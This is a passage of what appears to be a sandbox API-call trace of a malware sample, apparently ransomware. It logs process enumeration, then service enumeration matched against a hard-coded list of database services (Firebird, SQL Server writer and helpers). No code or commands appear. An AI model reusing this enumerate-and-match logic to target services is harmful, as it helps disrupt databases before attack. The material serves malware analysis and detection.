	[0179.563] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0179.563] lstrlenW (lpString="dwm.exe") returned 7
	[0179.563] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0179.563] lstrlenW (lpString="svchost.exe") returned 11
	[0179.564] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0179.564] lstrlenW (lpString="svchost.exe") returned 11
	[0179.564] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0179.564] lstrlenW (lpString="svchost.exe") returned 11
	[0179.564] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0179.565] lstrlenW (lpString="svchost.exe") returned 11
	[0179.565] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0179.565] lstrlenW (lpString="svchost.exe") returned 11
	[0179.565] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x430, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0179.566] lstrlenW (lpString="svchost.exe") returned 11
	[0179.566] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0179.566] lstrlenW (lpString="svchost.exe") returned 11
	[0179.566] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0179.567] lstrlenW (lpString="svchost.exe") returned 11
	[0179.567] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0179.567] lstrlenW (lpString="svchost.exe") returned 11
	[0179.567] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0179.568] lstrlenW (lpString="svchost.exe") returned 11
	[0179.568] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0179.568] lstrlenW (lpString="spoolsv.exe") returned 11
	[0179.568] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0179.568] lstrlenW (lpString="svchost.exe") returned 11
	[0179.569] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x56c, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0179.569] lstrlenW (lpString="audiodg.exe") returned 11
	[0179.569] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0179.569] lstrlenW (lpString="sihost.exe") returned 10
	[0179.569] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0179.570] lstrlenW (lpString="svchost.exe") returned 11
	[0179.570] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0179.570] lstrlenW (lpString="taskhostw.exe") returned 13
	[0179.570] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0179.571] lstrlenW (lpString="msoia.exe") returned 9
	[0179.571] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0179.571] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0179.571] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0179.572] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0179.572] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0179.572] lstrlenW (lpString="Memory Compression") returned 18
	[0179.572] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x42, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0179.573] lstrlenW (lpString="explorer.exe") returned 12
	[0179.573] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0179.573] lstrlenW (lpString="SearchUI.exe") returned 12
	[0179.573] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0179.574] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0179.574] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0179.574] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0179.574] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xccc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0179.575] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0179.575] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x998, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1
	[0179.575] lstrlenW (lpString="payload2.exe") returned 12
	[0179.575] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0179.576] lstrlenW (lpString="cmd.exe") returned 7
	[0179.576] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0179.576] lstrlenW (lpString="conhost.exe") returned 11
	[0179.576] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1
	[0179.577] lstrlenW (lpString="consent.exe") returned 11
	[0179.577] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 0
	[0179.577] CloseHandle (hObject=0x5bc) returned 1
	[0179.577] Sleep (dwMilliseconds=0x1f4) 
	[0180.397] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x668218
	[0180.397] EnumServicesStatusExW (in: hSCManager=0x668218, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0) returned 0
	[0180.398] GetLastError () returned 0xea
	[0180.398] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x1c28) returned 0x45c6cc8
	[0180.398] EnumServicesStatusExW (in: hSCManager=0x668218, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x45c6cc8, cbBufSize=0x1c28, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x45c6cc8, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0) returned 1
	[0180.399] CloseServiceHandle (hSCObject=0x668218) returned 1
	[0180.400] lstrlenW (lpString="Appinfo") returned 7
	[0180.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0180.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0180.400] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0180.400] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0180.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0180.400] lstrlenW (lpString="AppXSvc") returned 7
	[0180.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0180.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0180.401] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0180.401] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0180.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0180.401] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0180.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0180.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0180.401] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0180.401] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0180.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0180.401] lstrlenW (lpString="Audiosrv") returned 8
	[0180.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0180.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0180.401] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0180.401] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0180.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0180.401] lstrlenW (lpString="BFE") returned 3
	[0180.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0180.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0180.401] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0180.401] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0180.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0180.401] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0180.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0180.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0180.401] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0180.401] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0180.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0180.402] lstrlenW (lpString="CDPSvc") returned 6
	[0180.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0180.402] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0180.402] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0180.402] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0180.402] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0180.402] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0180.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0180.402] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0180.402] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0180.402] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0180.402] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0180.402] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0180.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0180.402] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0180.402] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0180.402] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0180.402] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0180.402] lstrlenW (lpString="CryptSvc") returned 8
	[0180.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0180.402] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0180.402] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0180.402] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0180.402] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0180.402] lstrlenW (lpString="DcomLaunch") returned 10
	[0180.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0180.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0180.403] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0180.403] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0180.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0180.403] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0180.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0180.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0180.403] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0180.403] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0180.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0180.403] lstrlenW (lpString="Dhcp") returned 4
	[0180.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0180.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0180.403] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0180.403] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0180.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0180.403] lstrlenW (lpString="Dnscache") returned 8
	[0180.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0180.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0180.403] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0180.403] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0180.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0180.403] lstrlenW (lpString="DPS") returned 3
	[0180.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0180.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0180.403] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0180.403] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0180.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0180.404] lstrlenW (lpString="DsmSvc") returned 6
	[0180.404] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DsmSvc") returned 1
	[0180.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DsmSvc") returned 1
	[0180.404] lstrcmpiW (lpString1="sqlwriter", lpString2="DsmSvc") returned 1
	[0180.404] lstrcmpiW (lpString1="mssqlserver", lpString2="DsmSvc") returned 1
	[0180.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DsmSvc") returned 1
	[0180.404] lstrlenW (lpString="DusmSvc") returned 7
	[0180.404] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0180.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0180.404] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0180.404] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0180.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0180.404] lstrlenW (lpString="EventLog") returned 8
	[0180.404] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0180.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0180.404] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0180.404] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0180.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0180.404] lstrlenW (lpString="EventSystem") returned 11
	[0180.404] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0180.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0180.404] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0180.404] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0180.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0180.404] lstrlenW (lpString="FontCache") returned 9
	[0180.405] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0180.405] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0180.405] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0180.405] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0180.405] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0180.405] lstrlenW (lpString="gpsvc") returned 5
	[0180.405] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0180.405] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0180.405] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0180.405] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0180.405] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0180.405] lstrlenW (lpString="iphlpsvc") returned 8
	[0180.405] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0180.405] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0180.405] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0180.405] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0180.405] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0180.405] lstrlenW (lpString="KeyIso") returned 6
	[0180.405] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0180.405] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0180.405] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0180.405] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0180.405] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0180.405] lstrlenW (lpString="LanmanServer") returned 12
	[0180.405] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0180.405] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0180.406] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0180.406] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0180.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0180.406] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0180.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0180.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0180.406] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0180.406] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0180.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0180.406] lstrlenW (lpString="lfsvc") returned 5
	[0180.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0180.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0180.406] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0180.406] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0180.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0180.406] lstrlenW (lpString="lmhosts") returned 7
	[0180.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0180.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0180.406] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0180.406] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0180.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0180.406] lstrlenW (lpString="LSM") returned 3
	[0180.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0180.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0180.406] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0180.406] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
